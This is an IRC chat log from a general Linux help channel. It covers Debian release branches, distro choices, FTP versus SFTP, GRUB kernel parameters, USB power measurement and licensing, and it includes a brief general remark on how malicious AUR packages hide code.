PKGBUILD 13:58 < Psi-Jack> Even if you LOOK at the PKGBUILD, that will not always identify malicious intent alone. 13:59 < epicmetal> Nexilva & storge: I don't see the point of Testing (unless during freeze) given that stuff gets held back or is broken for way longer than Unstable 13:59 < storge> better to install everything blind, and wait 13:59 < searedvandal> Psi-Jack, sure, they can put it in the .install file instead. or the source itself is compromised. 13:59 < epicmetal> Psi-Jack: I always check AUR PKGBUILDs before using 14:00 < epicmetal> i.e. all files in the package snapshot 14:00 < Psi-Jack> epicmetal: I don't use Arch anymore. :p 14:00 < storge> epicmetal: every time i run sid i have random oddball problems that sometimes require fairly extensive fix or waiting for a fix. testing is, for my purposes, stable as any other stable distro 14:00 < epicmetal> storge: oddball problems like what 14:00 < pingfloyd> most of them use aur helpers 14:00 < searedvandal> yeah 14:01 < pingfloyd> so just make a neat sounding description and there's plenty to take the bait 14:01 < storge> epicmetal: not all the time, but enough to teach me, since running debian in 2000, that testing is much more stable for me. 14:01 < Psi-Jack> In fact, what I've done lately, will blow your socks off. I've submitted upstream patches to NetworkManager itself, and it was accepted. :) 14:01 < pingfloyd> but looks like in this case, the attacker was an archtard and failed 14:01 < epicmetal> storge: fair enough. Do you pin stuff from Unstable, then? 14:01 < pingfloyd> got in the door and then crapped the bed 14:01 < Nexilva> I use only official debian packages and nothing else 14:01 < searedvandal> pingfloyd, since most aur helpers don't show you the .install file (if there is one), it's as easy as hiding whatever code there and keep a clean pkgbuild. unfortunately. 14:01 < storge> epicmetal: i don't use anything from unstable 14:01 < Nexilva> Whatver repos come with distro, nothing user generated 14:02 < pingfloyd> searedvandal: most of them probably wouldn't even notice 14:02 < Nexilva> If I need it that bad I'll build from upstream source myself 14:02 < epicmetal> storge: the other thing is your browser security updates lag in Testing by definition 14:02 < storge> epicmetal: i mean i only use testing repos, i don't mix repos. 14:02 < storge> epicmetal: well there is backports 14:02 < Nexilva> pingfloyd: so I tried many times to install Lubuntu LXQT but it fails everytime 60% of the way with some apt/bash script it can't run, unrecoverable error 14:02 < Nexilva> Now I need a different distro 14:02 < searedvandal> pingfloyd, true. and you gotta think about all the manjaro users with the fancy pamac/octopi things that does everything automagically 14:02 < epicmetal> storge: doesn't Backports target Stable, not Testing? 14:02 < Nexilva> epicmetal: it does but it's made by debian devs mostly 14:03 < storge> epicmetal: when jessie was = testing, i was using the jessie backports repo 14:03 < epicmetal> Oh right 14:03 < Nexilva> and is officially with keys, so it's safe enough 14:03 < epicmetal> I'm just going to stay in Sid land for as long as I can 14:03 < searedvandal> Nexilva, go for q4os and trinity 14:03 < Nexilva> Sid is not a distro unless you're packaging and fixing bugs 14:04 < Nexilva> Just sayin' 14:04 < Nexilva> it's not a distro at all, actually. 14:04 < Psi-Jack> It's distributed. So it is a distro. 14:04 < Nexilva> meh. 14:04 < Psi-Jack> :p 14:04 < pingfloyd> it's experimental 14:04 < epicmetal> It's a development distro 14:04 < Psi-Jack> Just not versioned. 14:04 < pingfloyd> and rolling 14:04 < Nexilva> experimental is actually higher and a different repo than sid. 14:04 < epicmetal> s/distro/release/ 14:04 < epicmetal> Anyway, it's all semantics 14:04 < Nexilva> I used to be a DD 14:04 < searedvandal> debian-git 14:04 < Nexilva> long time ago 14:04 < epicmetal> I know about experimental 14:04 < Nexilva> I left debian circia 2009 14:05 < Nexilva> i mean as a dev on the project. 14:05 < jim> Nexilva, you mean debian sid? 14:05 < Nexilva> I still use it 14:05 < Nexilva> yes debian sid is not really a distro. even per their own statement. 14:05 < Nexilva> and experimental is a different repo than sid also 14:05 < Celelibi> Who is right when when the internet say my laptop support only 2GB of RAM max. But dmidecode says 8GB? 14:06 < Nexilva> that's where freshly compiled packages go, then if they are stable enough, they go into sid. 14:06 < epicmetal> It is considered a "release" according to debian.org 14:06 < jim> and, they are debugging software, testing it, and fixing bugs (else packages would not leak to testing) 14:06 < epicmetal> "Generally, this distribution is run by developers and those who like to live on the edge." 14:07 < TyrfingMjolnir> What is a good linux distro for PowerMac 8600/200MHz? 14:07 < pingfloyd> just remember if you break it, you get to keep both pieces 14:07 < Nexilva> one could take the argument that sid is not a distro because it doesn't have an installer. You have to go from testing and upgrade to sid. Sid is not a really distro, afaik, things might have changedin 9years. 14:07 < paulcarroty> TyrfingMjolnir, debian 14:07 < epicmetal> pingfloyd: that's the case regardless of what I run :) 14:07 < epicmetal> pingfloyd: it's not like I'm calling Red Hat for support 14:07 < jim> TyrfingMjolnir, well one that still compiles for pp 14:07 < Nexilva> also, /msg dpkg dnuts 14:07 < jim> c 14:07 < TyrfingMjolnir> paulcarroty: 4? 14:08 < Nexilva> 'Do Not Upgrade To Sid' and sid is not an upgrade etc. 14:08 < TyrfingMjolnir> Or is RedRibbon an option? 14:08 < Nexilva> many official factoids 14:08 < paulcarroty> TyrfingMjolnir, can't remember, check the docs firs 14:08 < paulcarroty> t 14:08 < BeforeClick> TyrfingMjolnir: maybe even yellowdog 14:08 < jim> they -are- packaging and they -are- fixing bugs 14:08 < jim> debian as a whole would never progress otherwise 14:09 < TyrfingMjolnir> Red Ribbon is debian for PS3 14:09 < Nexilva> in fact, when I used sid, I would chroot a sid under a stable base. mostly used for packaging, but kernel devs etc. use sid 14:09 < TyrfingMjolnir> Then again PS3 may be G5 or something and 8600 is G2? 14:09 < jim> it's not that your logic is flawed, it's that your facts aren't correct 14:09 < Nexilva> jim: are you saying to me? 14:10 < jim> yeah, you made a definition which doesn't work: if they don't package and they don't fix bugs, it's not a distro 14:11 < premoboss> hi 14:11 < jim> hi 14:11 < Nexilva> "Most of the development work that is done in Debian, is uploaded to this distribution. This distribution will never get released; instead, packages from it will propagate into testing and then into a real release." 14:11 < premoboss> hello pengus fellas! im try to srink down the boot time of my debian embedded system. now im working on kernel, recompiled several time to reduce his size more than possible. now im am perplex about cryptograpy API because several are activated, but i duno how muc necessary they are. i remove AES and those that in help are indicated as weak 14:11 < BeforeClick> TyrfingMjolnir: check distrowatch, you can filter by architecture 14:11 < BeforeClick> https://distrowatch.com/search.php 14:11 < Nexilva> I guess you can call it a distribution. The description used to be different decade or so ago. 14:11 < premoboss> any suggestions? 14:11 < Dagmar> Keep reading until you know which ones you're actually using 14:12 < jim> Nexilva, would you say sid is more stable than it used to be? 14:12 < epicmetal> Nexilva: the punters love unreleased distributions! 14:13 < epicmetal> Even though it is under the "releases" section of debian.org 14:13 < epicmetal> Debian likes to divide by zero 14:13 < Nexilva> jim: I wouldn't know. I left the project as a developer/packager around 2009 and no longer am involved. 14:13 < pingfloyd> what are punters? 14:13 < Nexilva> I use stable and testing, and no need for sid any longer 14:13 < dgurney> my previous sid experiences have been completely positive 14:13 < epicmetal> Also, Fantasque Sans Mono is a delightful terminal font. Weird 'k' though. 14:13 < jim> Nexilva, oh, ok... what dist do you use now? 14:14 < Dagmar> Nexliva: No, the definition didn't change 14:14 < Nexilva> Hm. stew wrote a dpkg factoid search page in php on his site, I can't find the link. 14:14 < epicmetal> My Sid is currently glorious and majestic. 14:14 < Nexilva> there were a few official factoids that warned against sid usage, and that it's not a distro, and/or an upgrade. 14:14 < epicmetal> A little unconfigured, though. 14:14 < Nexilva> jim: testing 14:14 < pingfloyd> wtf is stew? 14:15 < Nexilva> stew was a good debian dev and #debian op 14:15 < epicmetal> DAE Fantasque? :) 14:15 < Nexilva> long time ago, I used to hang out with him in nyc 14:15 < Nexilva> and damog/david too 14:15 < Nexilva> good folks. 14:15 < jim> stew is a guy on the debian channel 14:15 < Nexilva> i think he is an irc op now, maybe emeritus now. 14:15 < pingfloyd> sounds like stew didn't do his homework 14:16 < jim> Nexilva, what became of stew? 14:16 < storge> he got ate 14:16 < Nexilva> no clue. I haven' theard form him or Rache. (his wife) since I left. 14:16 < Nexilva> been 9 years. 14:16 < Nexilva> they were both good programmers 14:16 < Nexilva> last I knew stew made a window manager in python called Tritium 14:16 < Nexilva> havn't seen him since. 14:16 < jim> he lived in NY? 14:16 < Nexilva> yes 14:17 < Nexilva> manhattan 14:17 < Nexilva> we used toh ave debian user group meetings at the pacific something bar 14:17 < Nexilva> on atlantic ave 14:17 < jim> again, in manhattan? 14:18 < storge> pacific on atlantic 14:18 < storge> i like it 14:18 < Nexilva> I think meetup were in brooklyn 14:18 < Nexilva> I can't remember. 14:18 < Nexilva> also, for my laptop, I tried to install lubuntu lxqt and it fails at 60%, some bash script can't run for apt and can't install anymore. I need a different distro for my laptop. 14:19 < jim> oh ok... if you don't mind my asking, what had you discontinue your dd? 14:19 < Nexilva> jim, life, internal differences with management, adoption of a 2 year release cycle, etc etc. 14:20 < jim> they have a release -schedule- now? 14:20 < Nexilva> yes, 2 year to freeze testing and work out RC bugs and package a release. 14:20 < Nexilva> I don't know anymore. 14:20 < Nexilva> we used to have bug hunting parties over the weekends before release time 14:21 < Nexilva> like 10 devs would get together, all weekend, and knock out RC bugs to get it ready for release 14:21 < jim> got it... interesting 14:22 < jim> that sounds like a lot of time pressure 14:22 < Nexilva> Even now, almost every 2 years~ish, they release a new stable 14:22 < Nexilva> I think that policy was adopted from watching/influenced by ubuntu 14:23 < jim> used to be, they weren't influenced at all by other dists 14:23 < epicmetal> Now it's Red Hat all the way, baby! 14:23 < Nexilva> I feel ill, physically. I woke up with severe back pain. Trying to get my laptop a nice ready made fully loaded lightweight DE distro 14:23 < pingfloyd> screw redhat 14:23 < Nexilva> I tried lubuntu lxqt and no dice, wont' install 14:24 < compdoc> Ubuntu all the way, baby! 14:24 < Nexilva> I have a copy of bodhi linux, I might stick with moksha desktop 14:24 < epicmetal> Why not Debian, you must be intimately familiar with it 14:24 < Nexilva> debian on a laptop? 14:24 < jim> will debian install? 14:24 < Nexilva> meh. 14:24 < pingfloyd> why not debian on a laptop? 14:24 < Nexilva> I know, but it's just a hassle to get all the little tidbits manually setup 14:24 < Nexilva> I'd like something ready made. 14:24 < pingfloyd> it's not that hard 14:24 < Nexilva> It's tedious. not hard. 14:25 < pingfloyd> not that much work either 14:25 < epicmetal> I'd recommend Xubuntu except I had issues 14:25 < pingfloyd> better than depending on canonical to do it 14:25 < pingfloyd> they screw it all up 14:25 < Nexilva> *shrug* 14:25 < Dagmar> heh 14:25 < Nexilva> plus, debian installer doesn't do my wifi nic 14:25 < Dagmar> Well, if you want something done right... 14:25 < maximb> Hi, I've installed proftpd with tls-ssl . I am able to connect to the server in passive mode using filezilla. but I can't connect with shell ftp not with web browser. with shell I get error: 550 SSL/TLS required on the control channel (using pftp), how can I connect with ssl ftp? 14:25 < Nexilva> so that's another hassle. 14:25 < pingfloyd> Nexilva: you probably need the right firmware 14:25 < Nexilva> I don't want the unofficial firmware installer 14:25 < epicmetal> Nexilva: you just need firmware.tar.gz extracted on a VFAT usb 14:26 < Nexilva> *nod* 14:26 < Dagmar> maximb: Make TLS not _required_ 14:26 < Nexilva> see, it's one thing after another. 14:26 < Nexilva> hassle. 14:26 < epicmetal> Heh 14:26 < pingfloyd> sounds like a lot of excuses for a former dd 14:26 < Nexilva> meh. 14:26 < djph> maximb: why on earth would you use FTP/SSL? 14:26 < Nexilva> :) 14:26 < jim> maximb, ssh has scp and sftp 14:26 < Nexilva> ftps != sftp 14:26 < Nexilva> just to put it out there 14:27 < TyrfingMjolnir> BeforeClick: Like this? https://distrowatch.com/search.php?ostype=All&category=All&origin=All&basedon=All¬basedon=None&desktop=All&architecture=powerpc&package=All&rolling=All&isosize=All&netinstall=All&language=All&defaultinit=All&status=Active#simple 14:27 < maximb> Dagmar: When I first started without ssl at all, it didn't work even on filezilla for some reason (and I tried with passive mode) 14:27 < TyrfingMjolnir> There is no mention of deb or ubuntu 14:27 < maximb> it managed to connect, but not to get dir try 14:27 < maximb> *tree 14:27 < searedvandal> maximb, sftp 14:27 < epicmetal> Nexilva: maybe you want Manjaro, it is #1 on DistroWatch after all :) 14:28 < Nexilva> Sounds like a Malasian resturant name 14:28 < Nexilva> haha 14:28 < epicmetal> hahaha 14:28 < BeforeClick> TyrfingMjolnir: when I open the link I find Ubuntu almost at the top of the list 14:28 < searedvandal> yeah, Manjaro is dangerous 14:28 < Nexilva> Kilmanjaro! 14:28 < epicmetal> The name does sound odd 14:28 < Nexilva> hehe 14:28 < pingfloyd> Nexilva: c'mon, you know you're not going to be satisfied until you put debian on it 14:28 < Nexilva> that's a city/place i think 14:28 < TyrfingMjolnir> BeforeClick: Sorry 14:28 < TyrfingMjolnir> Yes, there is ubuntu 14:28 < Nexilva> pingfloyd: hehe 14:28 < jim> epicmetal, what does distrowatch use to calculate that number? 14:28 < pingfloyd> Nexilva: you'll just end up spending more time on other dists trying to make them work how YOU want. 14:28 < BeforeClick> well so Bobs your uncle 14:28 < Nexilva> pingfloyd is the ultimate tempter 14:28 < epicmetal> jim: it's nothing to be taken too seriously, it's just based on hits to their website 14:29 < TyrfingMjolnir> For that machine I would like to install just tmux and vim, and whatever is needed for cabled network 14:29 < Nexilva> probably. 14:29 < Nexilva> it's fun checking out new various distros though. 14:29 < pingfloyd> sure 14:29 < Nexilva> it's been a while. 14:29 < searedvandal> some script magic and we can get hannah montana linux to the top 14:29 < pingfloyd> vms are great for that 14:29 < pingfloyd> but your host might as well be debian 14:29 < Nexilva> brb 14:29 < epicmetal> searedvandal: Biebian or bust 14:30 < searedvandal> epicmetal, that's a good one too 14:30 < jim> bieberan? 14:30 < maximb> but I also need to be able to connect from a browser using username/pass (not for me, for clients) 14:31 < BeforeClick> TyrfingMjolnir: well so what, do minimal install and add the packages you need 14:31 < jim> maximb, to sites in general, or one site in particular? 14:32 < djph> jim: apparently he's setting up a FTP/SSL site ... or something 14:32 < maximb> one "site", it's not really a website, just a server. 14:32 < Dagmar> maximb: If you need to be able to use a browser *and* SSL... man... that's kinda hard there 14:32 < maximb> it doesn't have DNS name, just IP 14:32 < Dagmar> I don't think anyone's got anything that will do both 14:32 < jim> maximb, maybe you should write a web app? 14:32 < maximb> lol, for ftp? 14:32 < djph> if it's publicly available info, FTP is fine (HTTP might be better) ... but if it's supposed to be partially secure, SFTP wins, hands down. 14:32 < Dagmar> maximb: You're the one who wants to use a browser 14:33 < jim> ftp is not recommended, especially in cases where the client types his name and password 14:33 < maximb> I mean, I tried the "easy" way without any certs or ssl/tls. but for some odd reason it didn't work. I managed to login but not get dir tree. but after I installed tls I at least managed to connect and get tree with filezilla 14:33 < Dagmar> You mean, you did it very incredibly wrong. 14:34 < pingfloyd> sounds like a mess 14:34 < maximb> how should I do it then? 14:35 < maximb> just need a regular browser login to ftp with user/pass 14:35 < Dagmar> No, you really don't. 14:36 < jim> the main problem is with authenticated ftp, if you eliminate that for something that's more secure, that should make something workable 14:36 < Dagmar> There are freakin PHP scripts that will give you the functionality of an FTP server 14:36 < Dagmar> You can use one in a web browser with SSL. 14:36 < maximb> but users need browser access, they won't bother with ssh certificates 14:36 < Dagmar> You should *not* in any way be using plaintext auth 14:37 < jim> maximb, are they paid clients? 14:37 < maximb> they pay us :) 14:37 < Dagmar> FTP is entirely and 100% obsolete as a mechanism for transferring files 14:37 < pingfloyd> the windows world seems to still cling onto it and telnet lol 14:38 < jim> if they won't make ssh keys, they can put in their normal password (even that is iffy) 14:38 < Dagmar> Only when netsec doesn't have any balls 14:38 < maximb> telnet is actually a very good tool to see if a specific port is open :) 14:38 < pingfloyd> not really 14:38 < pingfloyd> nmap is a whole world better 14:39 < Dagmar> Yes but it's generally institutionally banned for use with logins 14:39 < pingfloyd> about all telnet is good for anymore is troubleshooting connection problems with smtp 14:40 < epicmetal> EHLO 14:40 < maximb> with proftpd I just can't manage to login with web browser, but do manage to login with filezilla. dunno why it is. 14:41 < maximb> suspect it's because they want a real not self signed certificate 14:41 < maximb> but as this server doesn't even have a dns name... 14:41 < maximb> it's a problem 14:41 < Dagmar> So, what problem exactly are you solving by not assigning a DNS name? 14:42 < maximb> it's a demo server, don't want to buy a dns name for it. it's just to test the concept 14:43 < Dagmar> *shakes head* 14:45 < Dagmar> So your company doesn't even own a single domain? 14:45 < Dagmar> Are you being paid in magic beans? 14:45 < pingfloyd> what you got against magic beans? 14:46 < pingfloyd> better than bitcoins 14:46 < Dagmar> I'll sell you ten magic beans for ten bitcoins right now if you've got the beans 14:46 < BeforeClick> bitcoins, are they still around? 14:46 < pingfloyd> BeforeClick: are suckers still around 14:47 < BeforeClick> pingfloyd: :) they'll never die out 14:47 < pingfloyd> so scams and ponzi schemes never will either 14:48 < pingfloyd> scAmway is still around 14:48 < BeforeClick> they are kind of boring but I like the story when apple first shipped phones with ligthing connector and these guys drilling holes to get to the old style 3,5mm jacks 14:49 < maximb> off course we got domains, but they are for other servers 14:49 < BeforeClick> maximb: noip 14:49 < epicmetal> Ah, I just had to "definekey top KEYSYM COMMAND" to get my brightness/volume keys working in ratpoison :) 14:52 < TyrfingMjolnir> How to I change font size in the console without logging into X11? 14:52 < maximb> anyway, if you get oter idea: I need ftp/file sharing web app, in which it's possible to create using via web based interface and it's free to use. what can you recommend? (it doesn't have to be ftp based, but must be accessible via web browser for admin and share panels. 14:53 < maximb> it should be simple to use 14:58 < djph> maximb: a CMS like joomla perhaps? or nextcloud or something? 14:59 < dogbert2> fixed memory leak in BIND last night 15:01 < pingfloyd> how? 15:02 < maximb> prefer wordpress to joomla 15:03 < pingfloyd> doesn't wordpress get exploited a lot 15:03 < ice9> i want to recover a specific deleted file not the whole deleted files, which tools is ideal for this task? 15:04 < pingfloyd> ice9: photorec maybe 15:04 < ice9> pingfloyd, testdisk retrieved this file but with different content 15:05 < Alexander-47u> anyone got a nice looking pomodoro timer for ubuntu mate? :P 15:05 < jason85> How can a subprocess replace its own stdin with its parent's stdin? 15:05 < Alexander-47u> i need one with sound 15:08 < afidegnum> hello, i can't have access to port 2022, using nmap on -p 2022 i have 3033/tcp filtered unknown error 15:08 < afidegnum> i have enabled it on iptables 15:11 < Raed> afidegnum: Usually when nmap says filtered its being block by an outbound firewall. 15:11 < afidegnum> i enabled it at my end 15:11 < pingfloyd> did you try extundelete 15:12 < Raed> afidegnum: Is it being blocked by the provider or some network hardware? 15:13 < afidegnum> ACCEPT tcp -- anywhere anywhere tcp spt:3033 state RELATED,ESTABLISHED 15:13 < afidegnum> sorry it was 3033 15:13 < afidegnum> sorry of the mistake posted earlier 15:13 < afidegnum> but it's blocked 15:13 < arora> Did linus design the bootloader? 15:13 < section1> afidegnum, source port ? 15:13 < afidegnum> yes 15:13 < afidegnum> both on input and output 15:14 < section1> afidegnum, nmap im sure don't use 3033 for source port ..use random ports. 15:14 < ananke> arora: which 'bootloader'? and it's easy to look up authors of any given software 15:15 < section1> afidegnum, try with dest port. 15:16 < arora> ananke: The kernel bootloader, not sure what you mean by which. 15:17 < afidegnum> or what else can i use to ping the port? 15:17 < pingfloyd> maximb: afidegnum is the guy who had a compromise, thanks to wordpress, from earlier. 15:17 < Raed> afidegnum: Are the devices on the same network? 15:17 < afidegnum> i have enabled the port 3033 so i can have access on the web interface 15:17 < afidegnum> Raed: yes on the same network 15:18 < afidegnum> pingfloyd: ah 15:18 < Raed> afidegnum: Weith nmap showing the port as filtered, it means that some firewall is stopping it. So something is misconfigured. Have you tried shuttonf off the firewall and connecting then? 15:18 < pingfloyd> afidegnum: did you see my advice earlier? 15:18 < ananke> arora: there are mutliple 'kernel boot loaders' 15:18 < afidegnum> pingfloyd: about? 15:19 < arora> ananke: Oh, any place where I can find details on them? 15:19 < pingfloyd> maybe it was someone else 15:20 < ananke> arora: eg: https://wiki.archlinux.org/index.php/Category:Boot_loaders 15:20 < Blinky_> Afternoon all, quick question, our live webserver is showing 6 copies of /sbin/mingetty (tty1-6), what is it? We log into the command line using only putty but there are not six connections to the server at the moment. Is it anything to be concerned about or is it normal? 15:20 < afidegnum> pingfloyd: what advise was that, there were many messages 15:21 < pingfloyd> that you may have to do a fresh install and then restore data and configuration (scrutinize the configuration you restore). 15:21 < arora> ananke: Aren't those different bootloaders made independently by a community? 15:22 < ananke> arora: independently of what? each other? and you can look up authors of each 15:23 < afidegnum> pingfloyd: yes, 15:23 < arora> I know what grub and systemd-boot is, I want to know if linus designed a bootloader while making linux? 15:23 < afidegnum> that's what i m workong in 15:23 < afidegnum> i want to back up some data 15:23 < afidegnum> they are recent one i want to backup in order to perform a fresh installation 15:27 < ananke> arora: sounds like you should start doing a bit more research on your own 15:29 < arora> ananke: These comments of yours don't help anyone. :) 15:29 < searedvandal> arora, no 15:30 < ExtremeFMan> hm, smartctl installs mailx as dependency - wat? 15:30 < python476> hi there 15:30 < ps3udonym> yo 15:30 < python476> does linux has a software way to know current draw on usb sockets ? 15:31 < ps3udonym> python476: 15:31 < python476> I know lsusb lists maxpower per usb device, but it's not the actual or even estimate of mA drawn 15:31 < ps3udonym> nvm 15:31 < python476> ps3udonym: 15:31 < python476> no worries 15:31 < ps3udonym> thats what I was gonna give you 15:31 < python476> hehe 15:31 < python476> great minds fails alike.. 15:33 < searedvandal> don't think there is a software way to measure the current draw. the best you're gonna get is the lsusb command as far as I know 15:33 < ps3udonym> yeah 15:33 < ps3udonym> you might be able to try lsusb -vv 15:33 < ps3udonym> but I don't think that works for you either 15:34 < python476> too bad 15:34 < ps3udonym> You could always get out your multimeter rip off the USB housing and check directly on the circut 15:34 < python476> I could measure with a meter but that would have been "more better" 15:34 < forgotmynick> if i ssh into a server, run a command that asks me for input and then my connection is terminated, is there anyway to reconnect to that particular thing? I know you can do things like use screen but I'm just asking to see if it's possible without 15:34 < python476> ps3udonym: exactly :D 15:34 < neozaga> anyone know of a good chef book that I can buy? 15:35 < searedvandal> you can get those usb meters pretty cheap 15:35 < python476> searedvandal: I asked to have a 'right now' solution 15:35 < python476> otherwise I agree 15:36 < searedvandal> python476, I know you did. and as I said, don't think that is possible. which is why I mentioned the usb meters and that they are fairly inexpensive if you need to measure current draw on something. 15:38 < ananke> I'd second the usb meter devices. you can get those for dirt cheap. some of the better ones give you also power consumption over time 15:39 < python476> I'm trying to assess the charging of an android phone 15:40 < ananke> python476: you'd be able to do that with said device 15:40 < ps3udonym> going to see if you can push more power to it? 15:40 < python476> i hate when the battery icon has the bolt but the smartphone says 'unplugged' 15:40 < python476> ananke: ^ 15:42 < pingfloyd> python476: use a multimeter with a clamp 15:42 < pingfloyd> python476: also check in ##electronics 15:42 < ananke> you won't be able to measure much over such low voltage dc 15:43 < python476> pingfloyd: again I was asking if there may be a software way to know but anyway thanks 15:43 < python476> I'll wait for a usb thingy 15:44 < ananke> python476: eg: https://www.aliexpress.com/item/3-in-1-Battery-Tester-Voltage-Current-Detector-Mobile-Power-Voltage-Current-Meter-USB-Charger-Doctor/32804313568.html 15:45 < python476> ananke: very nice of you 15:46 < ananke> works surprisingly well. in fact I have one of them on my desk right now, measuring recharge rate of a lipo 18650 battery 15:47 < python476> stop teasing. 15:47 < vk501> How to set kernel parameter like "idle=nomwait"? 15:47 < geosmin> i'm curious, is there an open source license that would allow me to sell my software but prevent others from "stealing" the code and selling it as well? 15:48 < jimm> vk501, what's your boot loader? 15:48 < ananke> vk501: you could do it via your bootloader 15:48 < ps3udonym> geosmin: BSD license? 15:48 < vk501> grub 15:48 < geosmin> ps3udonym: wouldn't that be worse? 15:48 < ps3udonym> geosmin: idk man I'm guessing here 15:49 < jimm> vk501, you can edit your boot stanza and add the parameter to the end of the linux line 15:49 < geosmin> let's say i want to release my app "bubble blaster" under an open source license and charge 3$ but also prevent others from selling that same game for money 15:49 < post-factum> vk501: also, why do you need setting this option? 15:50 < vk501> post-factum: https://community.amd.com/thread/224000 15:50 < ananke> geosmin: you probably should seek assistance for that issue elsewhere. perhaps #fsf, reddit, etc 15:51 < vk501> post-factum: https://bugzilla.kernel.org/show_bug.cgi?id=196683 This explains better 15:52 < oiaohm> geosmin: most open source license defines don't allow that restriction. You do see games with open source game engine with restricted license content. 15:52 < ps3udonym> geosmin: You could always makethe code opensource but copywrite the graphical assets 15:52 < geosmin> game might be a bad example 15:52 < geosmin> i'm actually wondering if it would simply be possible 15:52 < Asnm> Hello, folks! 15:53 < geosmin> if the code is free, what exactly are you protecting? 15:53 < geosmin> you could protect a logo or as you say game assets 15:53 < geosmin> i guess i'm wondering if there's a way to release the code while preventing the resale of it 15:54 < ananke> geosmin: https://choosealicense.com/ 15:54 < Asnm> Can someone give me a hand with a kvm networking setup, on private if possible? 15:54 < post-factum> vk501: i see, sounds reasonable 15:56 < geosmin> or how about this 15:56 < geosmin> is there a licnese that prevents forks for commercial use? 15:56 < ananke> geosmin: have you tried looking at the page I linked? 15:57 < pingfloyd> geosmin: it's about protecting from proprietary use 15:57 < pingfloyd> not commercial 15:57 < pingfloyd> commercial is fine with most free licenses 15:58 < Nexilva> pingfloyd: ok, I'll get a debian firmware installer from the site, screw it 15:58 < pingfloyd> Nexilva: I just use the netinst image that already includes all the non-free firmware 15:58 < Nexilva> Or.. I could just clone this linux mint hdd to mmy new ssd, keep everything configured as it was, I dunno what to do. Choices... to omany chocies 15:58 < ackb> hi, what's the preferred way to reliably terminate all processes of a cgroup? 15:58 < Nexilva> I have some silly broadcom that doesn't get picked up 15:58 < pingfloyd> Nexilva: http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-dvd/ 15:59 < Nexilva> hey, thanks 15:59 < pingfloyd> oops wrong link 15:59 < Nexilva> no that's it. 15:59 < Nexilva> it's fine. 15:59 < pingfloyd> http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-dvd/ 15:59 < pingfloyd> http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/ this one 15:59 < Nexilva> ok 16:00 < pingfloyd> I just do the base install in the installer anyway 16:00 < vk501> post-factum: Where to type? "idle=nomwait" 16:00 < jim> Nexilva, that might be missing firmware, try the unofficial installers (they're just as good, the difference is they come with some of the firmware for such things as wireless cards 16:00 < pingfloyd> from there I just apt-get install whatever I want/need 16:00 < Nexilva> ok 16:00 < pingfloyd> I think the tasksel tasks are kind of bloaty 16:01 < Nexilva> yeah, I always start with netinst, install pulseaudio, xorg, xmonadm urxvt and I'm golden. 16:01 < Nexilva> Maybe chrome/chromium with widevine 16:01 < Nexilva> For netflix 16:01 < pingfloyd> they're good for someone unfamiliar with debian 16:01 < Nexilva> very bloaty, though still less bloat then buntu 16:01 < pingfloyd> yep 16:01 < Nexilva> but buntu does have a lot of tasks, useful for lots of things. 16:01 < Nexilva> debian doesn't have as many, like studio, etc. etc. 16:01 < jim> so with that, you might actually get a net connection early enough in the install to install most of what you want while you're in the installer (which isn't a particular advantage, you should be able to install packages anytime) 16:02 < Nexilva> got it jim 16:02 < post-factum> vk501: is it grub2? 16:02 < post-factum> vk501: what's your distro? 16:02 < pingfloyd> one of the things I don't like about tasksels is how all the packages they install, they mark as manual 16:03 < Nexilva> Hm. I have to reboot into my hdd, because this flash disk is being booted via live, I can't reformat it. Or can I take it out, plug it in another usb port on laptop and cp the iso over? 16:03 < vk501> post-factum: archlinux 16:03 < Nexilva> without having to replug in my hdd etc. etc. 16:03 < Nexilva> I wonder if that will work. 16:03 < vk501> How to check what grub version? 16:04 < Nexilva> grub --version? 16:04 < post-factum> vk501: oh, then, it's easy. open /etc/default/grub, find GRUB_CMDLINE_LINUX and add the option there 16:04 < Nexilva> or -v maybe? 16:04 < post-factum> vk501: in arch, it's grub2 16:04 < pingfloyd> Nexilva: you mean for setting up the usb stick with the netinst? 16:04 < post-factum> vk501: once you edit the file, run grub-mkconfig -o /boot/grub/grub.cfg 16:05 < pingfloyd> Nexilva: I'd just plug another usb stick in and use dd or something like cp /path/to/netinst.iso /dev/sdX 16:08 < gkwhc> hey guys, might anyone know if xcompmgr allows terminal transparency to wallpaper? and not windows underneath it 16:08 < Asnm> Ok guys i'm new in linux, but i have job to do. So my problem is this i have some virtual machine in KVM that have 2 interfaces one of them on 192 network and applications on this machine can't connect to themselfs using the 192 ip :( also host and guest can't ping each other not sure if its related 16:09 < vk501> post-factum: Will try if works, brb 16:10 < post-factum> rip 16:12 < EugenA> anybody using KDE? timer widget question: is it possible to have a better notification when the time is over? 16:13 < post-factum> i use kde, but i don't use a timer… 16:13 < post-factum> what is "better"? 16:14 < EugenA> the notification should be bigger and should not disappear automatically 16:14 < jim> yeah, what kind of notification do you have now, and what would be better than that? 16:14 < jim> oh ok 16:15 < jim> in case you don't find out here... there is a bot, alis, that can assist you in finding channels on the freenode irc net. To get started, /msg alis help 16:15 < EugenA> https://pasteboard.co/HtOQgLq.png 16:16 < EugenA> it is quite small and it disappear if I click somewhere on the screen 16:17 < EugenA> well, it is still in the notification-history, but it is hidden 16:17 < post-factum> EugenA: well, this is how a standard notification works… maybe, instead, you'd want to use notify-send 16:18 < post-factum> EugenA: advanced → execute command, and then read what notify-send can do 16:30 < BluesKaj> Psi-Jack, well, I tried to install Solus in a legacy dual boot setup, it wouldn't let me install on the 3rd and 4th ext4 partitions that I assigned mountpoints as / and /home ..it shows the partitions , but not the mounpoints on the empty partitions. The only option it leaves is to wipe the whole ssd and install Solus on it , so I'm afraid Solus loses. 16:32 < vk501> Didn't work 16:32 < Psi-Jack> BluesKaj: Yeah, their installer does lack for some things, for sure. 16:32 < triceratux> Psi-Jack: bwahaha i got solus running in kvm so ive looked at it but i cant get it to boot from the iso directly & apparently its a known bug https://github.com/probonopd/SystemImageKit/issues/17 solus is a loss leader 16:32 < Psi-Jack> BluesKaj: I'm planning to put in some time later and work on their installer code and submit a big patch to allow more customizations. ;) 16:33 < Psi-Jack> triceratux: I ran Solus just fine from the ISO. 16:33 < post-factum> vk501: ? 16:33 < freelancerbob> what does mean output of ldapsearch: i mean this row: numResponses: 2 16:33 < Psi-Jack> triceratux: And that posting, is like... 2017... Way outdated. :) 16:33 < vk501> post-factum: Didn't change lockup problem. :/ 16:34 < post-factum> vk501: but the option is added, right? 16:34 < 